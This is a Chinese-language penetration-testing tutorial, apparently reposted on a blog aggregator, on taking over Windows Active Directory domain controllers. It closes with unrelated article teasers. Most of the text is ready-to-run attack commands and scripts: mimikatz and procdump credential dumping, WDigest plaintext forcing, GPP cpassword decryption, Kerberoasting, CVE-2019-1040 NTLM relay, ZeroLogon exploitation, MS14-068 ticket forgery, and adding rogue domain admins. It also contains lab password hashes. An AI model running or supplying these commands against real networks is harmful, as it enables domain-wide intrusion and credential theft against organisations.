获取域控的方法

在域渗透中、作为渗透测试人员,获取域控的权限基本上可以获取整个内网的权限

1.高权限读取本地密码

当域管理员在域成员机器上登录进行工作的时候,会将明文密码保存在本地进行的lsass.exe,可以通过 mimikatz来读取到本地的明文密码。

privilege::debug # 提权
sekurlsa::logonpasswords
mimikatz "privilege::debug" "sekurlsa::logonpasswords" "exit" >log.txt

如果主机存在杀软的时候,上传mimikatz很多时候都会被杀掉,可以通过procdump+mimikatz的方式 进行绕过。先导出lsass.exe

procdump64.exe -accepteula -ma lsass.exe lsass.dmp

保存到本地,通过mimikatz读lsass.dmp的明文

mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full" exit

如果目标机器是windows server 2012,通过添加注册表,在通过锁屏,让管理员重新登录及可以读取 明文。

添加注册表,设置UseLogonCredential设置为1reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v
UseLogonCredential /t REG_DWORD /d 1 /f

利用powershell脚本进行锁屏

Function Lock-WorkStation
{
$signature = @"
[DllImport("user32.dll", SetLastError = true)]
public static extern bool LockWorkStation();
"@
$LockWorkStation = Add-Type -memberDefinition $signature -name
"Win32LockWorkStation" -namespace Win32Functions -passthru
$LockWorkStation::LockWorkStation() | Out-Null
}
Lock-WorkStation

管理员重新登录后就可以抓取到明文密码了。

net use \\10.10.10.137\ipc$ "QWEasd123" /user:redteam\administrator
python3 wmiexec.py -hashes
00000000000000000000000000000000:42e2656ec24331269f82160ff5962387
administrator@10.10.10.137 "whoami"

2.SYSVOL组策略获取密码

在域环境中,有个默认的共享路径

\\<DOMAIN>\SYSVOL\<DOMAIN>\

SYSVOL是活动目录存储文件服务副本的共享文件夹,里面包含有登录脚本,组策略数据等,域里的所有 用户都能访问这个共享文件。在SYSVOL目录下,默认是没有groups.xml文件的,必须创建组策略脚本 登录才有这个文件。在groups.xml文件中,密码是通过AES-256加密的,但是微软发布了AES的私钥。

可以利用powershell解密密文:

function Get-DecryptedCpassword {
[CmdletBinding()]
Param (
[string] $Cpassword
)
try {
#Append appropriate padding based on string length
$Mod = ($Cpassword.length % 4)
switch ($Mod) {
'1' {$Cpassword = $Cpassword.Substring(0,$Cpassword.Length -1)}
'2' {$Cpassword += ('=' * (4 - $Mod))}
'3' {$Cpassword += ('=' * (4 - $Mod))}
}
$Base64Decoded = [Convert]::FromBase64String($Cpassword)
#Create a new AES .NET Crypto Object
$AesObject = New-Object
System.Security.Cryptography.AesCryptoServiceProvider
[Byte[]] $AesKey =
@(0x4e,0x99,0x06,0xe8,0xfc,0xb6,0x6c,0xc9,0xfa,0xf4,0x93,0x10,0x62,0x0f,0xfe,0xe
8,
0xf4,0x96,0xe8,0x06,0xcc,0x05,0x79,0x90,0x20,0x9b,0x09,0xa4,0x33,0xb6,0x6c,0x1b)
#Set IV to all nulls to prevent dynamic generation of IV value
$AesIV = New-Object Byte[]($AesObject.IV.Length)
$AesObject.IV = $AesIV
$AesObject.Key = $AesKey
$DecryptorObject = $AesObject.CreateDecryptor()
[Byte[]] $OutBlock = $DecryptorObject.TransformFinalBlock($Base64Decoded,
0, $Base64Decoded.length)
return [System.Text.UnicodeEncoding]::Unicode.GetString($OutBlock)
}
catch {Write-Error $Error[0]}
}
Get-DecryptedCpassword "I0vK3Yj0SeoHQDxF5skcjt3BOkMZmX6IiqRVKCTo4Z4"

针对SYSOVL的防御:

1.打补丁KB2962486
2.删除SYSVOL目录下的groups.xml
3.设置共享文件SYSVOL的权限

3.Kerberoasting

SPN为服务主体名称,是服务实列(MSSQL,HTTP等)的唯一标识,如果在林中安装服务的多个实列,每个 实列都有自己的SPN,如果kerberos服务票证的加密类型为RC4_HMAC_MD5,就可以导出TGS对其进 行离线破解,有可能获取到域用户的密码了。

原理

当域内某个用户去请求同域内的某个服务资源时,请求会首先被送达 KDS 的 AS 中进行身份认证,认证通过 后 AS 会返回一个用用户密码 hash 加密的 TGT 给用户,然后用户再拿着 这个 TGT 向 TGS 去请求,TGS 会返回一个用对应服务账号的密码 hash加密过(RC4_HMAC_MD5)的专门用于访问特定服务的服务票据 回来,最后,用户只需拿这张服务票据去访问对应的服务资源即可,而问题就出在 TGS 返回服务票据,目标服 务此时用的一个域账号来运行的,那么 TGS 在向用户返回服务票据时,用户就可以拿到这张服务票据中 hash,由于 TGS 服务票据加密算法已知,尝试穷举口令,模拟加密过程,生成TGS进行比较。如果TGS相 同,代表口令正确,就能获得目标服务实例的明文口令

使用setspn查询spn(windows7和server2008默认自带)

查询域内所有的SPN和查询test域的SPN

setspn.exe -q */*
setspn.exe -T redteam.club -q */*

以CN开头的为代表一个账号,机器账号为Computers,域用户账号为Users

查询域内注册的spn(kerberoast)

cscript GetUserSPNs.vbs

PowerView 
https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1 Import-Module .\PowerView.ps1
Get-NetUser -spn -AdminCount|Select name,whencreated,pwdlastset,lastlogon

给mySQL服务注册SPN

setspn -s mysql/12server4.redteam.club:3306 test

将kerberos的加密方式换成RC4_HMAC_MD5

方法1.用mimikatz 脚本穷举

请求指定的TGS,完成之后klist就能查看相应的票据

Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -
ArgumentList "mysql/12server4.redteam.club:3306"

mimikatz导出票据

kerberos::list /export

使用tgsrepcrack.py破解 :https://github.com/nidem/kerberoast/blob/master/tgsrepcrack.py

python3 tgsrepcrack.py wordlist.txt mssql.kirbi

如果是域控用户注册的 可以得到域得明文密码

方法2 使用hashcat穷举

使用 System.IdentityModel.Tokens.KerberosRequestorSecurityToken 请求TGS,在返回结果中 提取出TGS,输出的TGS可选择John the Ripper或Hashcat进行破解。

实例演示:

在域内一台主机上以普通用户权限执行:

Invoke-Kerberoast -OutputFormat Hashcat
Invoke-Kerberoast -OutputFormat Hashcat | Select hash | ConvertTo-CSV -
NoTypeInformation

输出结果如下图:

保存文件 使用hashcat对其穷举

hashcat -m 13100 hash /home/kali/Desktop/kerberoast-master/passwd.txt -o
found.txt --force

4.内网协议NTLM之内网大杀器CVE-2019-1040漏洞

创建机器主机账号

python3 addcomputer.py -method SAMR -dc-ip 10.10.10.142 -computer-name moonsec -
computer-pass pass@123 "redteam.club/hack:pass@123"

中继&委派

执行ntlmrelayx.py脚本进行NTLM中继攻击,设置SMB服务器并将认证凭据中继到LDAP协议。其中– remove-mic选项用于清除MIC标志,–escalate-user用于提升指定用户权限

python3 ntlmrelayx.py -t ldap://10.10.10.142 -smb2support --remove-mic --
delegate-access --escalate-user moonsec\$ -debug

域控有两台域控 10.10.10.142 主控 10.10.10.140是备份域控 10.10.10.139 是中继机子(kali)

python3 printerbug.py redteam.club/hack:pass@123@10.10.10.140 10.10.10.139

监听提升 修改委派

获取服务票据

python3 getST.py -dc-ip 10.10.10.142 redteam/moonsec\$:pass@123 -spn
cifs/ad2.redteam.club -impersonate administrator

export KRB5CCNAME=administrator.ccache
vi /etc/resolv.conf

python3 secretsdump.py -k -no-pass ad2.redteam.club -just-dc-user administrator
python3 secretsdump.py -k -no-pass ad2.redteam.club -just-dc-ntlm

导出域控哈希

python3 smbexec.py -no-pass -k ad2.redteam.club

5.CVE-2020-1472-ZeroLogon

Netlogon使用的AES认证算法中的vi向量默认为0,导致攻击者可以绕过认证,同时其设置域控密码的远 程接口也使用了该函数,导致可以将域控中保存在AD中的管理员password设置为空.

影响版本

Windows Server 2008 R2 for x64-based Systems Service Pack 1Windows Server 2008
R2 for x64-based Systems Service Pack 1 (Server Core installation) Windows Server
2012 Windows Server 2012 (Server Core installation) Windows Server 2012 R2
Windows Server 2012 R2 (Server Core installation) Windows Server 2016 Windows
Server 2016 (Server Core installation) Windows Server 2019 Windows Server 2019
(Server Core installation) Windows Server, version 1903 (Server Core
installation) Windows Server, version 1909 (Server Core installation) Windows
Server, version 2004 (Server Core installation)

使用zerologin脚本复现

复现过程

python3 zerologon_tester.py ad01 10.10.10.1

漏洞利用 下载exp: git clone https://github.com/dirkjanm/CVE-2020-1472

置空DC的密码 python3 cve-2020-1472-exploit.py DC_NETBIOS_NAME DC_IP_ADDR

python3 cve-2020-1472-exploit.py ad01 10.10.10.137

获取HASH

使用impacket包中的secretsdum.py来获取相关的HASh

python3 secretsdump.py DOMAIN/DC_NETBIOS_NAME$@DC_IP_ADDR -no-pass

python3 secretsdump.py redteam.club/ad01\$@10.10.10.137 -no-pass

获取shell

获取HASH后,可以利用wmiexec.py登录,从而获取一个SHELL

python wmiexec.py -hashes DOMAIN/DOMAIN_USER@DC_IP_ADDR

python3 wmiexec.py -hashes
aad3b435b51404eeaad3b435b51404ee:42e2656ec24331269f82160ff5962387
redteam.club/administrator@10.10.10.137

恢复原HASH

导出sam

reg save HKLM\SYSTEM system.save
reg save HKLM\SAM sam.save
reg save HKLM\SECURITY security.save
get system.save
get sam.save
get security.save
del /f system.save
del /f sam.save
del /f security.save
exit

获取hash

python3 secretsdump.py -sam sam.save -system system.save -security security.save
LOCAL

执行以下命令,获取SAM中原来的HASH

python3 reinstall_original_pw.py ad01 10.10.10.137
813f8ed1cab4b139a984ec6df5bff166c4370395c011194854c788172b5f09e8bc7d174505db585a
0f77689274f23c5c9cc827f9d027bf2b59b9fddfe213019c2702a50a5aca3d4f4f4cf318d01a5b29
3418aca75fedbffe5c3d16cf11c5b52216017f5cc961773e5efb1b8ab0db19104f29a972d9362897
a6bd93ba44d6366bed4f0ba5c9e0a315c65f0dfc63c5a3e718c810d95746d2622fb1b265c4bc43ff
83570f184672c6186044ae52d118991a3f6f67d16aecc6273a0ec229182d9de4a22afb6ec8a7a54a
ed9ac87eda6f688e6d357aa74e4d5328deaf09f5b81a41f6e2e123f12b8105db8d30b5a3c025aced

检测域密码

python3 secretsdump.py ad01.redteam.club/administrator@10.10.10.137 -hashes
:42e2656ec24331269f82160ff5962387

6.MS14-068漏洞进行提权

server2008有效 MS14068是一个能够使普通用户提权到域控权限的权限提升漏洞。攻击者可以通过构 造特定的请求包来达到提升权限的目的。

第一步:利用MS14-068伪造生成TGT

MS14-068.exe -u test@moonsec.fbi -p 123456 -s S-1-5-21-2801122135-3886333168-
273474972-1103 -d 08server-dc.moonsec.fbi

第二步:利用mimikatz将工具得到的TGT票据写入内存,创建缓存证书

kerberos::ptc TGT_test@moonsec.fbi.ccache

第三步:获取域管理员权限。创建一个 test 账号并加入域管理员组,从而随时可以登录域控主机进行操 作。

PsExec.exe \\dc cmd.exe
// 添加test用户net user test abc123! /add /domain
// 把 test 用户添加进域管理员组net group "domain admins" test /add /domain
// 查看域管理员net group "domain admins" /domain或者使用python3 goldenPac.py -dc-ip 192.168.0.142 -target-ip 192.168.0.142
moonsec.fbi/test:123456@08server-dc.moonsec.fbi

7.窃取域管理员令牌

当有域控账户登陆至服务器时可使用令牌模拟进行渗透取得域控权限。

1、入侵域管理员所在的服务器,窃取域管理员的令牌,从而控制整个域。

2、直接在 meterpreter shell 上执行添加域管理员

add_user test abc123! -h 域控的IP地址
add_group_user "Domain Admins" test -h 域控IP地址

8.进程迁移

入侵了域管理员所登录的服务器,将进程迁移到域管理员所运行的进程,就可以获得域管理员权限。

1、获取域管理员列表

net group "Domain Admins" /domain

2、利用ps找到域管理员(TEST\bypass)所运行的进程,然后将shell进程迁移到域管理员所运行的进 程中,成功后就获得了域管理员权限。

3、输入shell命令获取OS shell,在本机上使用Windows命令添加新的域管理员:

// 添加test用户
net user test admin@123 /add /domain
// 把 test 用户添加进域管理员组
net group "domain admins" test /add /domain

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/414213.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【Java 设计模式】结构型之适配器模式

文章目录 1. 定义2. 应用场景3. 代码实现结语 适配器模式&#xff08;Adapter Pattern&#xff09;是一种结构型设计模式&#xff0c;用于将一个类的接口转换成客户端期望的另一个接口。这种模式使得原本由于接口不兼容而不能一起工作的类可以一起工作。在本文中&#xff0c;我…

确保您的计算机符合SOLIDWORKS 2024的最低系统配置要求

在现代工程和设计领域中&#xff0c;SOLIDWORKS 2024 成为了许多专业人士首选的三维建模软件。然而&#xff0c;要确保您充分发挥其潜力&#xff0c;首先需要确保您的计算机符合 SOLIDWORKS 2024 的最低系统要求。本文将为您提供关于系统要求的详细信息&#xff0c;以确保您的工…

多标签节点分类

Multi-Label Node Classification on Graph-Structured Data,TMLR’23 Code 学习笔记 图结构数据的多标签分类 节点表示或嵌入方法 通常会生成查找表&#xff0c;以便将相似的节点嵌入的更近。学习到的表示用作各种下游预测模块的输入特征。 表现突出的方法是基于随机游走(ran…

71.网游逆向分析与插件开发-角色数据的获取-修复角色名与等级显示问题

内容参考于&#xff1a;易道云信息技术研究院VIP课 上一个内容&#xff1a;自动化助手UI显示角色数据-CSDN博客 码云地址&#xff08;ui显示角色数据 分支&#xff09;&#xff1a;https://gitee.com/dye_your_fingers/sro_-ex.git 码云版本号&#xff1a;0049452c079867779…

高级分布式系统-第15讲 分布式机器学习--神经网络理论

高级分布式系统汇总&#xff1a;高级分布式系统目录汇总-CSDN博客 神经网络理论 模糊控制在处理数值数据、自学习能力等方面还远没有达到人脑的境界。人工神经网络从另一个角度出发&#xff0c;即从人脑的生理学和心理学着手&#xff0c;通过人工模拟人脑的工作机理来实现机器…

Microsoft Word 删除空行

Microsoft Word 删除空行 1. 删除空行1.1. 替换1.2. 段落标记 References 1. 删除空行 1.1. 替换 1.2. 段落标记 特殊格式 -> 段落标记 References [1] Yongqiang Cheng, https://yongqiang.blog.csdn.net/

大数据StarRocks(八):集群扩缩容

一、FE扩缩容 StarRocks FE 节点分为 Follower 节点和 Observer 节点。Follower 节点参与选举投票和写入&#xff0c;Observer 节点只用来同步日志&#xff0c;扩展读性能。 注意&#xff1a; 所有 FE 节点的 http_port 必须相同。Follower FE 节点&#xff08;包括 Leader …

2023集成电路人才供需报告 行业薪酬报告!

每年年底之际&#xff0c;是产业界各家公司交出一年答卷的时间&#xff0c;也是市调机构发布相关产业报告的时间。 例如&#xff0c;安谋科技&#xff08;Arm在中国独立运营的分公司&#xff09;发布的集成电路产业人才供需报告&#xff1b;还有2024各行业薪酬增长率预测报告等…

Gin 框架之用户密码加密

文章目录 一、引入二、密码加密位置三、如何加密四、bcrypt 库加密4.1 介绍4.2 优点&#xff1a;4.3 使用 五、小黄书密码加密实践 一、引入 Gin是一个用Go语言编写的Web框架&#xff0c;而用户密码的加密通常是在应用程序中处理用户身份验证时的一个重要问题。 通常敏感信息…

C++ 类与对象Oop

类与对象Oop 一、类&#xff1a;用户定义的数据类型&#xff0c;用于封装数据和方法1.1 对比结构体警告-->主要目的&#xff1a;初始化 1.2 定义类的过程并定义一个对象1.2.1 定义类例子 1.2.2 定义一个对象1.2.3 注意事项例子1.2.4 分成头文件和源文件的方式&#xff08;0&…

Niushop 开源微信商城源码+小程序源码 v5.1.7/支持二开/支持PC、手机、小程序和APP电商源码

源码介绍&#xff1a; Niushop 开源微信商城源码 v5.1.7&#xff0c;它是小程序源码&#xff0c;支持二次开发&#xff0c;同时支持PC、手机、小程序和APP多端电商。 Niushop系统是一款基于ThinkPHP6开发的全面完善的电商解决方案。该系统具备完善的商品管理机制&#xff0c;…

目标检测中的数据增强

整个代码参考:bubbliiiing/object-detection-augmentation。 random_data.py import cv2 import numpy as np from PIL import Image, ImageDrawdef rand(a=0, b=1):return np.random.rand()*(b-a) + adef get_random_data(annotation_line, input_shape, jitter=.3, hue=.1…